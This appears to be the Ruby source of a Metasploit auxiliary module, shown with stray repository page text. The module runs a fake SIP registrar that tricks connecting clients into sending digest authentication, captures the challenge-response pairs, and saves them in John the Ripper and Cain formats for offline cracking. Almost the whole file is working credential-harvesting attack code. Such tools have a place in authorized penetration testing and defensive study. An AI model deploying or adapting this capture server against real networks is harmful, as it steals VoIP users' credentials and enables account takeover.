240 lines
7.9 KiB
Ruby
240 lines
7.9 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex/socket'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'Authentication Capture: SIP',
|
|
'Description' => %q{
|
|
This module provides a fake SIP service that is designed to
|
|
capture authentication credentials. It captures challenge and
|
|
response pairs that can be supplied to Cain or JtR for cracking.
|
|
},
|
|
'Author' => 'Patrik Karlsson <patrik[at]cqure.net>',
|
|
'License' => MSF_LICENSE,
|
|
'Actions' => [ [ 'Capture' ] ],
|
|
'PassiveActions' => [ 'Capture' ],
|
|
'DefaultAction' => 'Capture'
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 5060 ]),
|
|
OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]),
|
|
OptString.new('NONCE', [ true, "The server byte nonce", "1234" ]),
|
|
OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]),
|
|
OptString.new('CAINPWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]),
|
|
], self.class)
|
|
register_advanced_options(
|
|
[
|
|
OptString.new("SRVVERSION", [ true, "The server version to report in the greeting response", "ser (3.3.0-pre1 (i386/linux))" ]),
|
|
OptString.new('REALM', [false, "The SIP realm to which clients authenticate", nil ]),
|
|
], self.class)
|
|
end
|
|
|
|
def sip_parse_authorization(data)
|
|
kvps = {}
|
|
kvps['scheme'] = data.slice!(0, data.index(' '))
|
|
data.split(/,\s?/).each do | item |
|
|
tokens = item.scan(/^\s?([^=]*)=\"?(.*?)\"?$/)[0]
|
|
kvps[tokens[0]] = tokens[1]
|
|
end
|
|
kvps
|
|
end
|
|
|
|
def sip_parse_request(data)
|
|
response = {
|
|
:headers_raw => [],
|
|
:headers => {},
|
|
:uri => nil,
|
|
:method => nil,
|
|
:protocol => nil
|
|
}
|
|
status = data.slice!(0, data.index(/\r?\n/)+1).split(/\s/)
|
|
response[:method] = status[0]
|
|
response[:uri] = status[1]
|
|
response[:protocol] = status[2]
|
|
|
|
while data.index(/\r?\n/)
|
|
header = (data.slice!(0, data.index(/\r?\n/)+1)).chomp
|
|
response[:headers_raw] << header
|
|
key, val = header.split(/:\s*/, 2)
|
|
response[:headers][key] = val
|
|
end
|
|
response
|
|
end
|
|
|
|
def sip_send_error_message(request, code, msg)
|
|
ip = @requestor[:ip]
|
|
port = @requestor[:port]
|
|
tag = (0...8).map{65.+(rand(25)).chr}.join
|
|
nonce = datastore['NONCE']
|
|
realm = datastore['REALM'] ? datastore['REALM'] : sip_sanitize_address(ip)
|
|
auth = []
|
|
|
|
auth << "SIP/2.0 #{code} #{msg}"
|
|
auth << ("Via: #{request[:headers]['Via']};received=#{ip}").gsub("rport", "rport=#{port}")
|
|
auth << "From: #{request[:headers]['From']}"
|
|
auth << "To: #{request[:headers]['To']};tag=#{tag}"
|
|
auth << "Call-ID: #{request[:headers]['Call-ID']}"
|
|
auth << "CSeq: #{request[:headers]['CSeq']}"
|
|
auth << "Expires: 600"
|
|
auth << "Min-Expires: 240"
|
|
auth << "WWW-Authenticate: Digest realm=\"#{realm}\", nonce=\"#{nonce}\""
|
|
auth << "Server: #{datastore['SRVVERSION']}"
|
|
auth << "Content-Length: 0"
|
|
auth << ""
|
|
|
|
@sock.sendto(auth.join("\r\n") << "\r\n", @requestor[:ip].to_s, @requestor[:port])
|
|
end
|
|
|
|
# removes any leading ipv6 stuff, such as ::ffff: as it breaks JtR
|
|
def sip_sanitize_address(addr)
|
|
if ( addr =~ /:/ )
|
|
return addr.scan(/.*:(.*)/)[0][0]
|
|
end
|
|
return addr
|
|
end
|
|
|
|
def report_cred(opts)
|
|
service_data = {
|
|
address: opts[:ip],
|
|
port: opts[:port],
|
|
service_name: opts[:service_name],
|
|
protocol: 'tcp',
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
credential_data = {
|
|
origin_type: :service,
|
|
module_fullname: fullname,
|
|
username: opts[:user],
|
|
private_data: opts[:password],
|
|
private_type: :password
|
|
}.merge(service_data)
|
|
|
|
login_data = {
|
|
core: create_credential(credential_data),
|
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
|
proof: opts[:proof]
|
|
}.merge(service_data)
|
|
|
|
create_credential_login(login_data)
|
|
end
|
|
|
|
def run
|
|
begin
|
|
@port = datastore['SRVPORT'].to_i
|
|
@sock = Rex::Socket::Udp.create(
|
|
'LocalHost' => datastore['SRVHOST'],
|
|
'LocalPort' => @port,
|
|
'Context' => {'Msf' => framework, 'MsfExploit' => self} )
|
|
@run = true
|
|
server_ip = sip_sanitize_address(datastore['SRVHOST'])
|
|
|
|
while @run
|
|
res = @sock.recvfrom()
|
|
@requestor = {
|
|
:ip => res[1],
|
|
:port => res[2]
|
|
}
|
|
client_ip = sip_sanitize_address(res[1])
|
|
next if not res[0] or res[0].empty?
|
|
request = sip_parse_request(res[0])
|
|
method = request[:method]
|
|
|
|
case method
|
|
when "REGISTER"
|
|
authorization = ( request[:headers]['Authorization'] ? request[:headers]['Authorization'] : request[:headers]['Proxy-Authorization'] )
|
|
if authorization
|
|
if ( request[:uri] =~ /^sip:.*?:\d+/ )
|
|
# current versions of the JtR plugin will fail cracking SIP uri:s containing a port; eg. sip:1.2.3.4:5060
|
|
print_status("URI with port detected in authorization SIP request, JtR may fail to crack the response")
|
|
end
|
|
|
|
auth_tokens = sip_parse_authorization(authorization)
|
|
response = ( auth_tokens['response'] ? auth_tokens['response'] : "" )
|
|
algorithm= ( auth_tokens['algorithm'] ? auth_tokens['algorithm'] : "MD5" )
|
|
username = auth_tokens['username']
|
|
proof = "client: #{client_ip}; username: #{username}; nonce: #{datastore['NONCE']}; response: #{response}; algorithm: #{algorithm}"
|
|
print_status("SIP LOGIN: #{proof}")
|
|
|
|
report_cred(
|
|
ip: @requestor[:ip],
|
|
port: @requestor[:port],
|
|
service_name: 'sip_client',
|
|
user: username,
|
|
password: response + ":" + auth_tokens['nonce'] + ":" + algorithm,
|
|
proof: proof
|
|
)
|
|
|
|
if datastore['JOHNPWFILE']
|
|
resp = []
|
|
resp << "$sip$"
|
|
resp << server_ip
|
|
resp << client_ip
|
|
resp << username
|
|
resp << auth_tokens['realm']
|
|
resp << method
|
|
resp << "sip"
|
|
resp << request[:uri].scan(/^.*?:(.*)$/)
|
|
resp << auth_tokens['nonce']
|
|
resp << ( auth_tokens['cnonce'] ? auth_tokens['cnonce'] : "" )
|
|
resp << ( auth_tokens['nc'] ? auth_tokens['nc'] : "" )
|
|
resp << ( auth_tokens['qop'] ? auth_tokens['qop'] : "" )
|
|
resp << algorithm
|
|
resp << response
|
|
|
|
fd = File.open(datastore['JOHNPWFILE'] + '_sip' , "ab")
|
|
fd.puts(username + ":" + resp.join("*"))
|
|
fd.close
|
|
end
|
|
|
|
if datastore['CAINPWFILE']
|
|
resp = []
|
|
resp << auth_tokens['realm']
|
|
resp << auth_tokens['username']
|
|
resp << ""
|
|
resp << request[:uri]
|
|
resp << auth_tokens['nonce']
|
|
resp << response
|
|
resp << method
|
|
resp << algorithm
|
|
|
|
fd = File.open(datastore['CAINPWFILE'], "ab")
|
|
fd.puts resp.join("\t") + "\r\n"
|
|
fd.close
|
|
end
|
|
|
|
sip_send_error_message(request, 401, "Unauthorized")
|
|
else
|
|
sip_send_error_message(request, 401, "Unauthorized")
|
|
end
|
|
when "ACK"
|
|
# do nothing
|
|
else
|
|
print_error("Unhandled method: #{request[:method]}")
|
|
sip_send_error_message(request, 401, "Unauthorized")
|
|
end
|
|
end
|
|
|
|
rescue ::Interrupt
|
|
raise $!
|
|
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
|
|
nil
|
|
rescue ::Exception => e
|
|
print_error("Unknown error: #{e.class} #{e.backtrace}")
|
|
ensure
|
|
@sock.close
|
|
end
|
|
end
|
|
end
|